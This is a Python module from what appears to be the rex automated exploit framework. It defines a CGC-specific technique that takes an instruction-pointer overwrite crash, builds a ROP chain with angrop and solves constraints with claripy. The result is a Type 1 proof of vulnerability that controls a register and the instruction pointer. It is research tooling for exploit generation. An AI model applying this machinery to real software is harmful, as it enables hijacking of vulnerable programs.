import angrop
import claripy
import logging
from rex import Vulnerability
from rex.exploit import CannotExploit
from ..cgc import CGCType1RopExploit
from ..technique import Technique

l = logging.getLogger("rex.exploit.techniques.rop_set_register")

class RopSetRegister(Technique):
    '''
    Very CGC specific register setting technique, does a lot of special stuff to make sure the value the register is
    set to is flexible.
    '''

    name = "rop_set_register"

    applicable_to = ['cgc']

    cgc_registers = ["eax", "ecx", "edx", "ebx", "esp", "ebp", "esi", "edi"]

    # this technique should create an exploit which is a type1 pov
    pov_type = 1

    generates_pov = True

    def set_register(self, register, chain, value_var):
        #pylint:disable=arguments-differ

        ip_var = claripy.BVS('ip_value', self.crash.project.arch.bits, explicit_name=True)

        chain, chain_addr = self._ip_overwrite_with_chain(chain, assert_next_ip_controlled=True)

        l.debug("attempting to insert chain of length %d", len(chain.payload_str()))

        ccp = self.crash.copy()

        # add the constraints introduced by rop
        cons = [a for a in chain._blank_state.solver.constraints if not any(v.startswith("next_addr") for v in a.variables)]
        ccp.state.solver.add(*cons)

        chain.add_value(ip_var)
        chain_bv = chain.payload_bv()

        ch_sym_mem = ccp.state.memory.load(chain_addr, len(chain_bv)//8)
        ccp.state.add_constraints(ch_sym_mem == chain_bv)

        reg_bitmask, reg_bitcnt = self.get_bitmask_for_var(ccp.state, value_var)
        ip_bitmask, ip_bitcnt= self.get_bitmask_for_var(ccp.state, ip_var)

        if reg_bitcnt > self.bitmask_threshold and ip_bitcnt > self.bitmask_threshold:
            return CGCType1RopExploit(ccp, register, reg_bitmask, ip_bitmask, ch_sym_mem, value_var, ip_var)

        raise CannotExploit("not enough control over registers in rop chain once placed in memory")

    def check(self):
        if self.rop is None:
            self.check_fail_reason("No ROP available.")
            return False

        if not self.crash.one_of([Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            self.check_fail_reason("Can only apply this technique to ip overwrite vulnerabilities.")
            return False

        return True

    def apply(self, **kwargs):

        min_chain = None
        chosen_register = None

        value_var = claripy.BVS('register_value', self.crash.project.arch.bits, explicit_name=True)
        for register in RopSetRegister.cgc_registers:
            try:
                chain = self.rop.set_regs(**{register: value_var})
                if min_chain is None or chain.payload_bv().size() < min_chain.payload_bv().size():
                    chosen_register = register
                    min_chain = chain
            except angrop.errors.RopException:
                l.debug("no rop chains which set register %s", register)

        if min_chain is not None:
            return self.set_register(chosen_register, min_chain, value_var)

        raise CannotExploit("no register setting chains")
